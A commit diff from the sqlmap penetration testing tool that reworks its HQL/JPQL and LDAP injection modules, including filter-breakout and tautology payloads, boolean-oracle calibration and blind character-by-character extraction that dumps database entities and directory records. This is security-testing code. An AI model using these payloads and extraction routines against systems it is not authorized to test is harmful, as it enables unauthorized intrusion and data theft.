mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-08-04 14:55:40 +00:00
Tons of stabilization of non-SQLi techniques
This commit is contained in:
parent
e6a5e8ff05
commit
36ebce6935
18 changed files with 3829 additions and 873 deletions
|
|
@ -2726,6 +2726,14 @@ def _checkTor():
|
|||
logger.info(infoMsg)
|
||||
|
||||
def _basicOptionValidation():
|
||||
_nonSqlTechniques = [name for name, enabled in (
|
||||
("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap),
|
||||
("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled]
|
||||
if len(_nonSqlTechniques) > 1:
|
||||
errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques)
|
||||
errMsg += "each is a self-contained scan for a different back-end class - pick one"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
||||
if conf.limitStart is not None and not (isinstance(conf.limitStart, int) and conf.limitStart > 0):
|
||||
errMsg = "value for option '--start' (limitStart) must be an integer value greater than zero (>0)"
|
||||
raise SqlmapSyntaxException(errMsg)
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ from lib.core.enums import OS
|
|||
from thirdparty import six
|
||||
|
||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||
VERSION = "1.10.7.176"
|
||||
VERSION = "1.10.7.177"
|
||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||
|
|
@ -1169,6 +1169,11 @@ OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consi
|
|||
XXE_BLACKHOLE_HOST = "192.0.2.1"
|
||||
XXE_TIME_THRESHOLD = 5
|
||||
|
||||
# maximum number of distinct leaf text-node locations the in-band reflection probe sweeps to find a
|
||||
# working injection point (a schema-validated or non-reflected first node otherwise hides the finding);
|
||||
# bounds the request cost on documents with many text nodes
|
||||
XXE_LOCATION_SWEEP_MAX = 12
|
||||
|
||||
# HQL/JPQL (Hibernate, EclipseLink) injection error signatures for error-based
|
||||
# detection and ORM fingerprinting. Each tuple is (backend_name, regex_fragment).
|
||||
# A match means the injection reached the ORM query parser (not the SQL layer),
|
||||
|
|
|
|||
File diff suppressed because it is too large
Load diff
|
|
@ -5,7 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
import time
|
||||
|
||||
|
|
@ -18,6 +17,14 @@ from lib.core.data import conf
|
|||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
from lib.utils.nonsql import INCONCLUSIVE_MARK
|
||||
from lib.utils.nonsql import userDecision
|
||||
from lib.utils.nonsql import resolveBit
|
||||
from lib.utils.nonsql import sqlErrorPresent
|
||||
from lib.utils.nonsql import blockedStatus
|
||||
from lib.utils.nonsql import ratio as _ratio
|
||||
from lib.utils.nonsql import userOracleActive
|
||||
from lib.core.settings import HQL_CHAR_MAX
|
||||
from lib.core.settings import HQL_CHAR_MIN
|
||||
from lib.core.settings import HQL_COMMON_ENTITIES
|
||||
|
|
@ -34,6 +41,7 @@ from lib.utils.xrange import xrange
|
|||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
|
||||
HQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# Attribute names probed (via an error-vs-valid oracle) once the mapped entity is
|
||||
|
|
@ -67,8 +75,6 @@ Slot = namedtuple("Slot", ("place", "parameter", "backend", "entity", "oracle",
|
|||
Slot.__new__.__defaults__ = (None,) * 7
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
|
|
@ -125,17 +131,24 @@ def _send(place, parameter, value):
|
|||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, _ = Request.getPage(raise404=False, silent=True)
|
||||
page, _, code = Request.getPage(raise404=False, silent=True)
|
||||
# a transport failure or a BLOCKED/ERROR status (5xx, 403/429) is not a usable oracle sample -
|
||||
# signal None so the boolean routines (which reject None) can never decide a bit on it
|
||||
if blockedStatus(code):
|
||||
return None
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("HQL probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
return None
|
||||
finally:
|
||||
conf.parameters[place] = old_params
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(re.search(HQL_ERROR_REGEX, getUnicode(page or "")))
|
||||
# an ORM/HQL error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean
|
||||
# template (a broken break-out that trips a DBMS syntax error must not fake a boolean oracle).
|
||||
page = getUnicode(page or "")
|
||||
return bool(re.search(HQL_ERROR_REGEX, page)) or sqlErrorPresent(page)
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
|
|
@ -189,6 +202,10 @@ def _boolean(truthy, falsy):
|
|||
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
# honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity
|
||||
if userOracleActive():
|
||||
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
|
||||
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
|
||||
|
|
@ -223,24 +240,87 @@ def _wrap(original, boundary, predicate):
|
|||
return "%s%s%s%s" % (original, boundary.prefix, predicate, boundary.suffix)
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, template, boundary, original):
|
||||
"""Build oracle(predicate) -> bool from a verified true template."""
|
||||
# HQL/JPQL-only WHERE predicates for positive attribution WITHOUT a reflected ORM error (production
|
||||
# systems suppress diagnostics). Each pair differs ONLY in the truth of a construct that plain SQL does
|
||||
# NOT evaluate the same way, so a true/false divergence is attributable to the ORM.
|
||||
#
|
||||
# NOTE deliberately NOT using Hibernate CAST type aliases (CAST(x AS string/integer/long/big_decimal)):
|
||||
# although PostgreSQL/MySQL/MSSQL reject those type names, SQLite accepts ARBITRARY cast type names, so
|
||||
# `CAST(1 AS string)='1'` is TRUE on plain SQLite and would mis-attribute a SQLite SQL injection as HQL.
|
||||
#
|
||||
# `str()` is Hibernate's legacy stringify function and is a clean discriminator across the target
|
||||
# engines: SQLite/MySQL/MariaDB/PostgreSQL/H2/HSQLDB have NO `str()` function, so the payload ERRORS
|
||||
# (both sides error -> no divergence -> not confirmed); Microsoft SQL Server's STR(1) yields a
|
||||
# space-padded ' 1', so BOTH str(1)='1' and str(1)='2' are false (again no divergence). Only a
|
||||
# Hibernate parser makes str(1)='1' true and str(1)='2' false. A single clean primitive is preferred
|
||||
# over a broad battery here: on a context that rejects it, attribution simply falls back to
|
||||
# "indistinguishable from SQLi" (safe under-report), never a false HQL claim.
|
||||
_HQL_PREDICATES = (
|
||||
("str(1)='1'", "str(1)='2'"),
|
||||
)
|
||||
|
||||
|
||||
def _confirmHql(place, parameter, boundary, original):
|
||||
"""Positive HQL/JPQL attribution with no reflected error: probe the HQL-only battery through the
|
||||
boolean oracle. Returns True as soon as ANY primitive flips true/false behind the verified boundary;
|
||||
a plain-SQL target (SQLite included) errors on or evaluates-both-false every one -> no divergence ->
|
||||
not confirmed as HQL."""
|
||||
base = _base(boundary, original)
|
||||
for truePred, falsePred in _HQL_PREDICATES:
|
||||
if _boolean(lambda p=_wrap(base, boundary, truePred): _send(place, parameter, p),
|
||||
lambda p=_wrap(base, boundary, falsePred): _send(place, parameter, p)):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, boundary, original):
|
||||
"""Build the extraction oracle by RECALIBRATING BOTH true and false models on the SAME extraction
|
||||
base + boundary the predicates use (`_base()` -> SENTINEL/-1, NOT the original-based detection
|
||||
template). Reusing the detection true template (built with the original value) while extraction
|
||||
ran on a different base was a base mismatch. Reproduce both, require separable, else None (disable
|
||||
extraction). Classification is RELATIVE (closer to the true model than the false one, by a margin)
|
||||
so dynamic drift can't flip a bit."""
|
||||
|
||||
cache = {}
|
||||
base = _base(boundary, original)
|
||||
|
||||
def request(payload):
|
||||
# cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever
|
||||
if payload not in cache:
|
||||
cache[payload] = _send(place, parameter, payload)
|
||||
page = _send(place, parameter, payload)
|
||||
if page is not None and not _isError(page):
|
||||
cache[payload] = page
|
||||
return page
|
||||
return cache[payload]
|
||||
|
||||
def truth(predicate):
|
||||
page = request(_wrap(base, boundary, predicate))
|
||||
if page is None or _isError(page):
|
||||
return False
|
||||
return _ratio(template, page) >= UPPER_RATIO_BOUND
|
||||
truePayload = _wrap(base, boundary, "1=1")
|
||||
falsePayload = _wrap(base, boundary, "1=2")
|
||||
trueTemplate = request(truePayload)
|
||||
falseTemplate = request(falsePayload)
|
||||
|
||||
truth.template = template
|
||||
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
|
||||
return None
|
||||
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true
|
||||
return None
|
||||
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false
|
||||
return None
|
||||
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND: # not separable -> can't extract
|
||||
return None
|
||||
|
||||
def truth(predicate):
|
||||
# transport failure / blocked / error response is UNKNOWN, not False: route even a missing
|
||||
# initial sample through resolveBit() (retry -> InconclusiveError) so a transient failure on a
|
||||
# true predicate never becomes a permanent false bit that corrupts the bisection
|
||||
payload = _wrap(base, boundary, predicate)
|
||||
page = request(payload)
|
||||
usable = page if (page is not None and not _isError(page)) else None
|
||||
|
||||
def fresh():
|
||||
p = _send(place, parameter, payload)
|
||||
return None if (p is None or _isError(p)) else p
|
||||
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
|
||||
|
||||
truth.template = trueTemplate
|
||||
truth.cache = cache
|
||||
return truth
|
||||
|
||||
|
|
@ -335,36 +415,41 @@ def _scalar(entity, attrExpr, pin, after=None):
|
|||
def _inferValue(truth, entity, attribute, pin, after=None, maxLen=HQL_MAX_LENGTH):
|
||||
"""Blindly recover one attribute value of the row selected by `pin`/`after`."""
|
||||
|
||||
# length first, by binary search
|
||||
lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after)
|
||||
if not truth("%s>=1" % lengthExpr):
|
||||
return ""
|
||||
try:
|
||||
# length first, by binary search
|
||||
lengthExpr = _scalar(entity, "LENGTH(CAST(_h.%s AS string))" % attribute, pin, after)
|
||||
if not truth("%s>=1" % lengthExpr):
|
||||
return ""
|
||||
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth("%s>=%d" % (lengthExpr, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
for pos in xrange(1, length + 1):
|
||||
# index of this character inside _CS_LITERAL, recovered by binary search
|
||||
idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after)
|
||||
if not truth("%s>=1" % idxExpr):
|
||||
chars.append("?")
|
||||
continue
|
||||
|
||||
lo, hi = 1, len(_CS_LITERAL)
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth("%s>=%d" % (idxExpr, mid)):
|
||||
if truth("%s>=%d" % (lengthExpr, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
chars.append(_CS_LITERAL[lo - 1])
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
for pos in xrange(1, length + 1):
|
||||
# index of this character inside _CS_LITERAL, recovered by binary search
|
||||
idxExpr = _scalar(entity, "LOCATE(SUBSTRING(CAST(_h.%s AS string),%d,1),'%s')" % (attribute, pos, _CS_LITERAL), pin, after)
|
||||
if not truth("%s>=1" % idxExpr):
|
||||
chars.append("?")
|
||||
continue
|
||||
|
||||
lo, hi = 1, len(_CS_LITERAL)
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if truth("%s>=%d" % (idxExpr, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
chars.append(_CS_LITERAL[lo - 1])
|
||||
except InconclusiveError:
|
||||
# abort this value rather than emit a length/char chosen from an ambiguous bit
|
||||
logger.warning("HQL extraction aborted for '%s.%s' (oracle inconclusive after retries)" % (entity, attribute))
|
||||
return None
|
||||
|
||||
return "".join(chars)
|
||||
|
||||
|
|
@ -406,25 +491,42 @@ def _dumpEntity(oracle, place, parameter, entity):
|
|||
# advance the cursor; otherwise only the first (smallest-pin) row is recovered.
|
||||
rows = []
|
||||
after = None
|
||||
partial = False
|
||||
for _ in xrange(HQL_MAX_RECORDS):
|
||||
pinValue = _inferValue(oracle, entity, pin, pin, after)
|
||||
if not pinValue:
|
||||
if pinValue is None:
|
||||
# None => the NEXT-row pin was INCONCLUSIVE (oracle aborted), NOT "no more rows". Stop, but
|
||||
# flag the table PARTIAL rather than silently presenting it as the complete set.
|
||||
partial = True
|
||||
logger.warning("next-row pin for entity '%s' is inconclusive; the dumped table is PARTIAL" % entity)
|
||||
break
|
||||
if not pinValue: # "" => genuine end (no further row)
|
||||
break
|
||||
|
||||
record = {pin: pinValue}
|
||||
for field in fields:
|
||||
if field != pin:
|
||||
record[field] = _inferValue(oracle, entity, field, pin, after)
|
||||
# None => extraction ABORTED for this cell (inconclusive oracle). Mark it visibly so it
|
||||
# stays distinguishable from a genuine empty value - never silently blank.
|
||||
cell = _inferValue(oracle, entity, field, pin, after)
|
||||
record[field] = INCONCLUSIVE_MARK if cell is None else cell
|
||||
rows.append([record.get(_, "") for _ in fields])
|
||||
logger.info(" retrieved record: %s" % ", ".join("%s='%s'" % (_, record.get(_, "")) for _ in fields))
|
||||
|
||||
if not re.match(r"\A\d+\Z", pinValue):
|
||||
# a non-numeric pin (e.g. a UUID/string key) cannot advance the ascending cursor, so only
|
||||
# the first row is recovered - flag the table PARTIAL rather than imply it is complete
|
||||
if len(rows) == 1:
|
||||
partial = True
|
||||
logger.warning("entity '%s' pin '%s' is non-numeric; only the first row is enumerable (table is PARTIAL)" % (entity, pin))
|
||||
break
|
||||
after = pinValue
|
||||
else:
|
||||
logger.warning("entity '%s' hit the HQL_MAX_RECORDS (%d) cap; some records may be omitted" % (entity, HQL_MAX_RECORDS))
|
||||
partial = True # a truncated cap is NOT a complete dump
|
||||
|
||||
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", pin, _grid(columns, rows)))
|
||||
completeness = ", PARTIAL - row enumeration aborted before the end" if partial else ""
|
||||
conf.dumper.singleString("HQL: %s parameter '%s' entity '%s' (%d record%s%s, ordered by %s):\n%s" % (place, parameter, entity, len(rows), "s" if len(rows) != 1 else "", completeness, pin, _grid(columns, rows)))
|
||||
|
||||
|
||||
def hqlScan():
|
||||
|
|
@ -461,15 +563,36 @@ def hqlScan():
|
|||
logger.info("%s parameter '%s' errors in the ORM parser but no boolean oracle was established" % (place, parameter))
|
||||
continue
|
||||
|
||||
backend = backendHint or "Hibernate"
|
||||
# CRITICAL: HQL compiles TO SQL, so a bare boolean break-out (`' or '1'='1`) is IDENTICAL
|
||||
# to - and INDISTINGUISHABLE from - classic SQL injection. Claim HQL ONLY with positive
|
||||
# ORM/Hibernate evidence: either a reflected parser diagnostic (_probeError) OR - when the
|
||||
# app suppresses diagnostics - the HQL-only confirmation battery (_confirmHql: constructs
|
||||
# valid in HQL/JPQL but rejected by plain SQL). Without either it is plain SQL injection and
|
||||
# reporting it as HQL would be a false positive on every SQLi target.
|
||||
original = _originalValue(place, parameter)
|
||||
if not backendHint:
|
||||
if _confirmHql(place, parameter, boundary, original):
|
||||
backendHint = "Hibernate (HQL/JPQL)"
|
||||
logger.info("%s parameter '%s' confirmed HQL/JPQL via ORM-only constructs (no error leakage needed)" % (place, parameter))
|
||||
else:
|
||||
logger.info("%s parameter '%s' yields a boolean oracle but shows no ORM/Hibernate evidence - indistinguishable from classic SQL injection; not reporting as HQL (re-run without '--hql' to test for SQLi)" % (place, parameter))
|
||||
continue
|
||||
|
||||
backend = backendHint
|
||||
# Error leakage only helps when the app actually reflects diagnostics
|
||||
entity = _leakEntity(place, parameter, boundary, original) if backendHint else None
|
||||
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
oracle = _makeOracle(place, parameter, template, boundary, original)
|
||||
oracle = _makeOracle(place, parameter, boundary, original)
|
||||
if oracle is None:
|
||||
# confirmed HQL, but the extraction true/false models are not reliably separable ->
|
||||
# report the finding WITHOUT dumping (never fabricate entity/field data)
|
||||
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s); "
|
||||
"extraction disabled (true/false models not reliably separable)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: HQL injection\n Title: HQL boolean-based blind (extraction unavailable)\n Payload: %s=%s\n---" % (parameter, place, parameter, payload))
|
||||
continue
|
||||
logger.info("%s parameter '%s' is vulnerable to HQL injection (back-end: '%s'%s)" % (place, parameter, backend, ", entity: '%s'" % entity if entity else ""))
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend,
|
||||
entity=entity, oracle=oracle, boundary=boundary, payload=payload))
|
||||
|
||||
|
|
|
|||
|
|
@ -5,7 +5,6 @@ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
|||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
import difflib
|
||||
import re
|
||||
import time
|
||||
|
||||
|
|
@ -18,6 +17,14 @@ from lib.core.data import conf
|
|||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
from lib.utils.nonsql import INCONCLUSIVE_MARK
|
||||
from lib.utils.nonsql import userDecision
|
||||
from lib.utils.nonsql import resolveBit
|
||||
from lib.utils.nonsql import sqlErrorPresent
|
||||
from lib.utils.nonsql import blockedStatus
|
||||
from lib.utils.nonsql import ratio as _ratio
|
||||
from lib.utils.nonsql import userOracleActive
|
||||
from lib.core.settings import LDAP_CHAR_MAX
|
||||
from lib.core.settings import LDAP_CHAR_MIN
|
||||
from lib.core.settings import LDAP_ERROR_REGEX
|
||||
|
|
@ -32,6 +39,7 @@ from lib.utils.xrange import xrange
|
|||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
|
||||
# _send() below currently knows how to rebuild GET and POST-style parameter
|
||||
# strings. Cookie and URI delivery require separate per-place logic and should not
|
||||
# be advertised until implemented.
|
||||
|
|
@ -104,8 +112,6 @@ Slot = namedtuple("Slot", ("place", "parameter", "backend", "oracle", "template"
|
|||
Slot.__new__.__defaults__ = (None, None, None, None, None, None, None, None)
|
||||
|
||||
|
||||
def _ratio(first, second):
|
||||
return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio()
|
||||
|
||||
|
||||
def _delim(place):
|
||||
|
|
@ -162,17 +168,27 @@ def _send(place, parameter, value):
|
|||
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, payload)
|
||||
page, _, _ = Request.getPage(**kwargs)
|
||||
page, _, code = Request.getPage(**kwargs)
|
||||
# a transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is not a usable
|
||||
# oracle sample - signal None so `_boolean`/`extract` (which reject None) can't decide on it
|
||||
if blockedStatus(code):
|
||||
return None
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("LDAP probe request failed: %s" % getUnicode(ex))
|
||||
return ""
|
||||
return None
|
||||
finally:
|
||||
conf.skipUrlEncode = skipUrlEncode
|
||||
|
||||
|
||||
def _isError(page):
|
||||
return bool(re.search(LDAP_ERROR_REGEX, getUnicode(page or "")))
|
||||
# an LDAP error body OR a recognized SQL/DBMS error marks a response as NOT a valid boolean
|
||||
# template. The SQL/DBMS check (reusing sqlmap's errors.xml via htmlParser + the generic
|
||||
# `SQL (warning|error|syntax)` marker) is essential: an LDAP filter break-out like `1)(uid=*`
|
||||
# trips a DBMS SYNTAX ERROR on a SQL-injectable parameter, and that error page merely differs
|
||||
# from a normal page - which would otherwise fake a boolean oracle and misreport SQLi as LDAP.
|
||||
page = getUnicode(page or "")
|
||||
return bool(re.search(LDAP_ERROR_REGEX, page)) or sqlErrorPresent(page)
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
|
|
@ -180,7 +196,9 @@ def _backendFromError(page):
|
|||
for backend, regex in LDAP_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return "Generic LDAP" if _isError(page) else None
|
||||
# ONLY a genuine LDAP error names a (generic) LDAP back-end - never a SQL/DBMS error (which
|
||||
# _isError() also flags, so it can reject a faked oracle, but which must NOT be attributed to LDAP)
|
||||
return "Generic LDAP" if re.search(LDAP_ERROR_REGEX, page) else None
|
||||
|
||||
|
||||
def _probeBackendByParserError(place, parameter):
|
||||
|
|
@ -219,7 +237,16 @@ def _boolean(truthy, falsy):
|
|||
return None
|
||||
|
||||
truePage2 = truthy()
|
||||
if _ratio(truePage, truePage2) >= UPPER_RATIO_BOUND and _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
if _ratio(truePage, truePage2) < UPPER_RATIO_BOUND: # the TRUE side must independently reproduce
|
||||
return None
|
||||
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND: # the FALSE side must independently reproduce too
|
||||
return None
|
||||
|
||||
# honor an explicit user oracle (--string/--not-string/--regexp) over raw similarity
|
||||
if userOracleActive():
|
||||
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
|
||||
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND: # ... and true must differ from false
|
||||
return truePage
|
||||
|
||||
return None
|
||||
|
|
@ -229,24 +256,25 @@ def _detectBoolean(place, parameter):
|
|||
"""Return (template, payload, breakout) for boolean-blind LDAPi."""
|
||||
|
||||
original = _originalValue(place, parameter) or ""
|
||||
falsePayload = original + SENTINEL
|
||||
|
||||
for breakout in LDAP_BREAKOUT_PREFIXES:
|
||||
for attr in LDAP_TAUTOLOGY_ATTRIBUTES:
|
||||
# Open fragment by design. The application template supplies the tail.
|
||||
# MATCHED controls: true and false share the SAME breakout, the SAME attribute and the
|
||||
# SAME open-fragment shape - only the assertion's truth changes. `(attr=*` matches every
|
||||
# directory entry; `(attr=<sentinel>` matches none. A diverging pair proves the value is
|
||||
# parsed as an LDAP FILTER (the `)(...` escaped the surrounding filter), which a plain
|
||||
# string search cannot reproduce. The old false control was a bare `original+SENTINEL`
|
||||
# (an UNMATCHED ordinary string), so a validation layer or wildcard search could diverge
|
||||
# for reasons unrelated to filter injection - a false positive.
|
||||
truePayload = "%s%s(%s=*" % (original, breakout, attr)
|
||||
falsePayload = "%s%s(%s=%s" % (original, breakout, attr, SENTINEL)
|
||||
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
if template:
|
||||
return template, truePayload, breakout
|
||||
|
||||
# Useful for auth/search bypass reporting, but not enough to synthesize
|
||||
# arbitrary LDAP filters for enumeration.
|
||||
if original:
|
||||
template = _boolean(lambda: _send(place, parameter, "*"),
|
||||
lambda: _send(place, parameter, SENTINEL))
|
||||
if template:
|
||||
return template, "*", None
|
||||
# NOTE: no bare `*`-vs-sentinel fallback. A wildcard returning more records is normal search
|
||||
# behavior, not proof of an LDAP filter-boundary escape, and carries no breakout for extraction.
|
||||
|
||||
return None, None, None
|
||||
|
||||
|
|
@ -377,44 +405,78 @@ class _ProbeBuilder(object):
|
|||
return self.raw("%s(objectClass=%s*" % (compound, SENTINEL))
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, template):
|
||||
def _makeOracle(place, parameter, breakout):
|
||||
"""Build the extraction oracle by RECALIBRATING its true/false models on the SAME base + winning
|
||||
breakout the extraction payloads use - the `_ProbeBuilder` leads every probe with SENTINEL, so
|
||||
the models must too. A matched always-true filter `SENTINEL<breakout>(objectClass=*` (objectClass
|
||||
is on every entry) and a matched always-FALSE `SENTINEL<breakout>(objectClass=<sentinel>` (no
|
||||
entry has it) - same shape, only the assertion's truth changed. The old oracle compared SENTINEL-
|
||||
based extraction payloads against an ORIGINAL-based detection template and a bare unreproduced
|
||||
SENTINEL false page - a base/shape mismatch. Reproduce both, require separable, else None."""
|
||||
|
||||
cache = {}
|
||||
|
||||
def request(payload):
|
||||
# cache ONLY usable responses - a cached transient failure would freeze a wrong bit forever
|
||||
if payload not in cache:
|
||||
cache[payload] = _send(place, parameter, payload)
|
||||
page = _send(place, parameter, payload)
|
||||
if page and not _isError(page):
|
||||
cache[payload] = page
|
||||
return page
|
||||
return cache[payload]
|
||||
|
||||
falsePage = request(SENTINEL)
|
||||
builder = _ProbeBuilder(breakout)
|
||||
truePayload = builder.raw("(objectClass=*")
|
||||
falsePayload = builder.raw("(objectClass=%s" % SENTINEL)
|
||||
trueModel = request(truePayload)
|
||||
falseModel = request(falsePayload)
|
||||
|
||||
def oracle(payload):
|
||||
page = request(payload)
|
||||
if not page or _isError(page):
|
||||
return False
|
||||
return _ratio(template, page) >= UPPER_RATIO_BOUND
|
||||
if trueModel is None or falseModel is None or _isError(trueModel) or _isError(falseModel):
|
||||
return None
|
||||
if _ratio(trueModel, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND: # reproduce true
|
||||
return None
|
||||
if _ratio(falseModel, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND: # reproduce false
|
||||
return None
|
||||
if _ratio(trueModel, falseModel) >= UPPER_RATIO_BOUND: # not separable -> can't extract reliably
|
||||
return None
|
||||
|
||||
def extract(payload):
|
||||
# a positive bit (attribute-prefix match) must lean CLEARLY toward the recalibrated TRUE
|
||||
# model over the matched FALSE model (shared 3-way classifier) - NOT merely "different from
|
||||
# a bare sentinel page", which read a dynamic token / WAF body / transient exception as a
|
||||
# match and fabricated LDAP values one character at a time. A transport failure / error is
|
||||
# UNKNOWN (routed through resolveBit -> retry -> InconclusiveError), never a pre-decided False.
|
||||
page = request(payload)
|
||||
if not page or _isError(page):
|
||||
return False
|
||||
return _ratio(falsePage, page) < UPPER_RATIO_BOUND
|
||||
usable = page if (page and not _isError(page)) else None
|
||||
|
||||
def fresh():
|
||||
p = _send(place, parameter, payload)
|
||||
return None if (not p or _isError(p)) else p
|
||||
return resolveBit(usable, trueModel, falseModel, fresh)
|
||||
|
||||
def oracle(payload):
|
||||
return extract(payload)
|
||||
|
||||
oracle.extract = extract
|
||||
oracle.template = template
|
||||
oracle.falsePage = falsePage
|
||||
oracle.template = trueModel
|
||||
oracle.falsePage = falseModel
|
||||
oracle.cache = cache
|
||||
return oracle
|
||||
|
||||
|
||||
# Avoid LDAP metacharacters in blind character extraction. In real LDAP they can
|
||||
# be escaped, but many simple test harnesses decode them before wildcard handling,
|
||||
# producing false positives. Transport-sensitive chars are allowed because
|
||||
# _ldapLiteral() encodes them.
|
||||
_META_ORDS = set(ord(_) for _ in ('*', '(', ')', '\\'))
|
||||
# The filter metacharacters *, (, ), \ are INCLUDED in the extraction charset: `_ldapLiteral()` escapes
|
||||
# each one (*->\2a, (->\28, )->\29, \->\5c) in the prefix probe, so they are matched as LITERAL bytes
|
||||
# (no wildcard / no false positive) and a value like `CN=Smith\, John (Admin)` or `abc*def` is recovered
|
||||
# in full instead of being truncated at the first metacharacter. They sit at the FREQUENCY TAIL (rare in
|
||||
# real data), so common characters are still tried first.
|
||||
_META_ORDS = set()
|
||||
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) +
|
||||
tuple(xrange(ord('A'), ord('Z') + 1)) +
|
||||
tuple(xrange(ord('0'), ord('9') + 1)) +
|
||||
tuple(ord(_) for _ in "@._-+ "))
|
||||
tuple(ord(_) for _ in "@._-+ ") +
|
||||
tuple(ord(_) for _ in "*()\\")) # filter metacharacters (escaped by _ldapLiteral)
|
||||
_CHARSET = []
|
||||
for _ in _FREQ:
|
||||
if LDAP_CHAR_MIN <= _ <= LDAP_CHAR_MAX and _ not in _META_ORDS and _ not in _CHARSET:
|
||||
|
|
@ -428,33 +490,41 @@ def _exists(oracle, builder, attr, constraint=None, exclusions=None):
|
|||
return oracle.extract(builder.presence(attr, constraint=constraint, exclusions=exclusions))
|
||||
|
||||
|
||||
def _inferAttribute(oracle, builder, attr, constraint=None, exclusions=None, maxLen=LDAP_MAX_LENGTH):
|
||||
